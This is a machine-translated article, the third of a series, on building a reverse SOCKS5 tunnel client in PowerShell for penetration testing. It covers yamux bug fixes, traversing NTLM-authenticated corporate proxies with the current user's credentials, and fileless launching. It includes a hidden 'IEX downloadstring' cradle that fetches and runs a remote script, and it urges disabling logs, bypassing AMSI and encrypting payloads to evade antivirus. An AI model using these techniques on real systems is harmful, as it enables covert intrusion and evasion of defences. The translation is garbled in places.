📜 ⬆️ ⬇️

We write Reverse socks5 proxy on powershell. Part 3

The story of research and development in 3 parts. Part 3 - practical.
There are many beeches - the benefits are even greater

Previous articles from the cycle can be found here and here =)

Battle check


Let's now check the work of our script in practice. To do this, we will try to throw the reverse tunnel from the virtual (Windows 7 .net 4.7) to the Linux VPS on the Digital Ocean and then, using it, go back to Win7. In this case, we imitate the situation when Windows 7 is the Customer’s machine, Linux VPS is our server.

On the VPS (in our case, Ubuntu 18.04), install and configure the server part of RsocksTun:
')









Apparently from screenshots - our script works. We were glad, mentally erected a monument to ourselves and decided that everything was perfect. But…

Bug work


But not everything is as smooth as we would like ...

During the operation of the script, one unpleasant moment emerged: if the script is working through a not very fast connection to the server, then the transfer of big data can result in the error shown in the figure below.



After examining this error, we see that when we receive a keepalive message (while the data is still being transmitted to the server), we try to simultaneously write a keepalive response to the socket, which causes an error.

To fix the situation, we need to wait for the end of the data transfer, and then send a reply to keepalive. But there may be another problem: if the keepalive message arrives at the moment between sending the 12-byte header and sending the data, then we will destroy the structure of the ymx packet. Therefore, a more correct solution would be to transfer completely the entire functionality of sending data inside yamuxScript, which handles sending events sequentially and there will be no such situations.

At the same time, in order to instruct yamuxScript to send keepalive responses, we can use our shared ArrayList StopFlag [0] - the zero index is not used, since The numbering of yamux streams starts from 1. In this index, we will transfer to yamuxScript the ping value obtained in the keepalive message. The default value will be -1, which means there is no need to pass. YamuxScript will check this value, and if it is 0 (first keepalive ping = 0) or more, then send the transmitted value to keepalive response:

if ($StopFlag[0] -ge 0){ #got yamux keepalive. we have to reply $outbuf = [byte[]](0x00,0x02,0x00,0x02,0x00,0x00,0x00,0x00) + [bitconverter]::getbytes([int32]$StopFlag[0])[3..0] $state.tcpstream.Write($outbuf,0,12) $state.tcpstream.flush() $StopFlag[0] = -1 } 

We also have to exclude sending the response to the YMX SYN flag in the main thread of the program.

To do this, we must also transfer this functionality inside yamuxScript, but since the yamux server does not require sending a response to the YMX SYN and immediately begins to drive data, we simply disable the sending of this package and that's it:

 #$outbuf = [byte[]](0x00,0x01,0x00,0x02,$ymxstream[3],$ymxstream[2],$ymxstream[1],$ymxstream[0],0x00,0x00,0x00,0x00) #$tcpstream.Write($outbuf,0,12) 

After that, the transfer of large pieces of data works fine.

Proxy server support


Now let's think about how we can make our client work through a proxy server.

Let's start with the basics. The idea is that http proxies (namely, http proxies work in most corporate networks) are designed to work with the HTTP protocol, but with us it seems like http doesn't even smell. But in nature, besides http, there are also https and your browser can perfectly connect to https sites via regular http - right?

All because of the special mode of the proxy server - mode CONNECT. Thus, if the browser wants to connect to the gmail server using the https protocol through a proxy server, it sends a CONNECT request to the proxy server, which indicates the host and the destination port.

 CONNECT gmail.com:443 HTTP/1.1 Host: gmail.com:443 Proxy-Connection: Keep-Alive 

After successfully connecting to the gmail server, the proxy returns a 200 OK response.

 HTTP/1.1 200 OK 

After that, all data from the browser is directly transmitted to the server and vice versa. In simple terms - the proxy directly connects the two network sockets to each other - the browser socket and the gmail server socket. After that, the browser starts to establish an ssl connection with the gmail server and work with it directly.

Transferring the above to our client, we must first establish a connection with the proxy server, send an http packet indicating the CONNECT method and the address of our yamux server, wait for a response with code 200, and then proceed to establish an ssl connection.

In principle, there is nothing particularly complicated. This is how the proxy server connection mechanism is implemented in the golang rsockstun client.

The main difficulties begin when a proxy server requires ntlm or kerberos authentication when connecting to itself.

In this case, the proxy server returns the code 407 and the ntlm http header as a base64 string

 HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: NTLM TlRMTVNTUAACAAAAAAAAADgAAABVgphianXk2614u2AAAAAAAAAAAKIAogA4AAAABQEoCgAAAA8CAA4AUgBFAFUAVABFAFIAUwABABwAVQBLAEIAUAAtAEMAQgBUAFIATQBGAEUAMAA2AAQAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQAAwA0AHUAawBiAHAALQBjAGIAdAByAG0AZgBlADAANgAuAFIAZQB1AHQAZQByAHMALgBuAGUAdAAFABYAUgBlAHUAdABlAHIAcwAuAG4AZQB0AAAAAAA= Date: Tue, 28 May 2019 14:06:15 GMT Content-Length: 0 

For successful authorization, we must decode this string, remove parameters from it (such as ntlm-challenge, domain name). Then, using this data, as well as the user name and its ntlm-hash, we have to form an ntlm response, encode it back to base64 and send it back to the proxy server.

 CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive + UpsHCJmpIGttOj1VN + 5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA == CONNECT mail.com:443 HTTP/1.1 Host: mail.com:443 Proxy-Authorization: NTLM TlRMTVNTUAADAAAAGAAYAHoAAAA6AToBkgAAAAwADABYAAAACAAIAGQAAAAOAA4AbAAAAAAAAADMAQAABYKIIgYBsR0AAAAPnHZSXCGeU7zoq64cDFENAGQAbwBtAGEAaQBuAHUAcwBlAHIAVQBTAEUAUgAtAFAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABuxncy1yDsSypAauO/N1TfAQEAAAAAAAAXKmWDXhXVAag3UE8RsOGCAAAAAAIADgBSAEUAVQBUAEUAUgBTAAEAHABVAEsAQgBQAC0AQwBCAFQAUgBNAEYARQAwADYABAAWAFIAZQB1AHQAZQByAHMALgBuAGUAdAADADQAdQBrAGIAcAAtAGMAYgB0AHIAbQBmAGUAMAA2AC4AUgBlAHUAdABlAHIAcwAuAG4AZQB0AAUAFgBSAGUAdQB0AGUAcgBzAC4AbgBlAHQACAAwADAAAAAAAAAAAAAAAAAwAAA2+UpsHCJmpIGttOj1VN+5JbP1D1HvJsbPKpKyd63trQoAEAAAAAAAAAAAAAAAAAAAAAAACQAcAEgAVABUAFAALwAxADIANwAuADAALgAwAC4AMQAAAAAAAAAAAA== User-Agent: curl/7.64.1 Accept: */* Proxy-Connection: Keep-Alive 

But it's not so bad. The fact is that when you run the script, we do not know either the name of the current user or his ntlm-hash password. Thus, for authorization on the proxy server, we still need to get username / pass from somewhere else.

Theoretically, we can implement this functionality in the script (starting from manually setting authentication parameters, as done in the GoLang client and ending with using the LSASS process memory dump, as done in mimikatz), but then our script will grow to incredible size and complexity, especially that these topics are beyond the scope of this article.

We thought and decided that we would go the other way ...

Instead of doing authorization manually, we will use the built-in functionality for working with the proxy server of the HTTPWebRequest class. But in this case, we will have to change the code of our RsocksTun server - after all, when it receives a request from the client, it expects only a string with a password, and it will receive a full-fledged HTTP request. In principle, modifying the server part of rsoskstun is not so difficult. It is only necessary to decide in which part of the http request we will send the password (suppose it will be the XAuth http-header) and implement the functionality of processing the HTTP request, checking our password with the password and sending the reverse HTTP response (200 OK). We have brought this functionality to a separate branch of the RSocksTun project.

After modifying the Golang part of RSocksTun (server and client), we will proceed to adding the proxy server functionality to our script. The simplest code for the HttpWebRequest class for connecting to a web server through a proxy looks like this:

 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $request = [System.Net.HttpWebRequest]::Create("https://gmail.com:443") $request.Method = "GET" $request.Headers.Add("Xauth","password") $proxy = new-object system.net.webproxy('http://127.0.0.1:8080'); $proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials $request.Proxy = $proxy try {$serverResponse = $request.GetResponse()} catch {write-host "Can not connect"; exit} 

In this case, we create an instance of the HttpWebRequest class, set the Proxy and Credentials properties, add a custom http header XAuth. Accordingly, our request to Google servers will go through a proxy server 127.0.0.1:8080. If the proxy asks for authorization, then the Windows itself will “pick up” the credits of the current user and insert the appropriate http-headers.

Instead of specifying the proxy server manually, we can use the proxy server system settings:

 $proxy = [System.Net.WebRequest]::GetSystemWebProxy() 

So, after we connected through our proxy server to our rsockstun server and received an http response with code 200, we need to do a little trick, namely, to get a stream read / write object from the HTTPWebRequest class like $ tcpConnection.getStream () We do this through the .Net reflection Inspection mechanism (for those who want to learn more about this mechanism, we share the link ). This allows us to refer to the methods and properties of the underlying classes:

 #--------------------------------------------------------------------------------- # Reflection inspection to retrieve and reuse the underlying networkStream instance $responseStream = $serverResponse.GetResponseStream() $BindingFlags= [Reflection.BindingFlags] "NonPublic,Instance" $rsType = $responseStream.GetType() $connectionProperty = $rsType.GetProperty("Connection", $BindingFlags) $connection = $connectionProperty.GetValue($responseStream, $null) $connectionType = $connection.GetType() $networkStreamProperty = $connectionType.GetProperty("NetworkStream", $BindingFlags) $tcpStream = $networkStreamProperty.GetValue($connection, $null) 

Thus, we received the same socket-stream, which is connected by a proxy server to our yamux server and with which we can perform read / write operations.

Another point that we need to consider is the mechanism for monitoring the state of the connection. Since we work through a proxy server and the HTTPWebRequest class, we do not have the $ tcpConnection.Connected property and we need to somehow monitor the connection status. We can do this through a separate $ connected flag, it is set to $ true after receiving the code 200 from the proxy server and is reset to $ false when an exception occurs during reading from socket-stream:

 try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {$connected=$false; break;} if ($num -eq 0 ) {$connected=$false; break;} 

For the rest, our code remains unchanged.

Run Inline


As a rule, all sane people run such scripts from PS1 files, but sometimes (and in fact, almost always) in the process of pentest / redtim, it is required to run modules from the command line without writing anything to disk, so as not to leave behind any traces. . Especially since powershell perfectly allows you to do this via the command line:

 powershell.exe –c <powershell code> powershell.exe –e <base64 powershell code> 

However, you should not really relax about the secrecy of launching and executing commands. Because, firstly, all code executed by powershell is logged by standard windows in the corresponding eventlog-logs (Windows PowerShell and Microsoft-Windows-PowerShell / Operational), and secondly, all code executed inside powershell passes through AMSI ( Anti Malware Scan Interface). Another thing is that both of these mechanisms are perfectly costly for uncomplicated actions. Turning off journals and bypassing AMSI is a separate topic for conversation and we will definitely write about it in future articles or in our channel. But now a little about something else.

The fact is that our script has grown to quite impressive sizes and it is clear that it will not fit into any command line (the limit for cmd in Windows is 8191 characters). Therefore, we need to think of a way to run our script without writing it to disk. And here we will be helped by standard methods used by malware for almost 15 years. In short, the rule is simple - download and run. The main thing is not to confuse =)
The download and launch command looks like this:

 powershell.exe –w hidden -c "IEX ((new-object net.webclient).downloadstring('http://url.com/script.ps1'))" 

You can find more inline-launch options on the HarmJ0y 'me:

Of course, before downloading you need to take care of disabling logs and bypassing or disabling AMSI. The script itself must be encrypted before downloading. in the process of downloading, it will naturally be checked up and down by your (or not your =)) antivirus, and decipher accordingly before launch. How to do it - you, the reader should already come up with himself. This goes beyond the indicated topic. But we know the best specialist in this business - the almighty Google. There are many examples of encryption and decryption on the network, as well as examples of AMSI bypass.

Conclusion to all parts


In the process, we introduced the reader to the technology of “reverse tunnels” and their use for pentesting, showed several examples of such tunnels, and talked about the pros and cons of using them.

We also managed to create a powershell client to the RsocksTun server with the ability to:


You can find all rsockstun code (golang and powershell) in the appropriate branch on our github. The master branch is designed to work without a proxy server, and the via_proxy branch is intended to work through a proxy and HTTP.

We will be glad to hear your comments and suggestions to improve the code and the applicability of the development in practice.

On this cycle of our articles on reverse tunneling ends. We really hope that you are interested in reading us and the information is useful.

Source: https://habr.com/ru/post/454254/


All Articles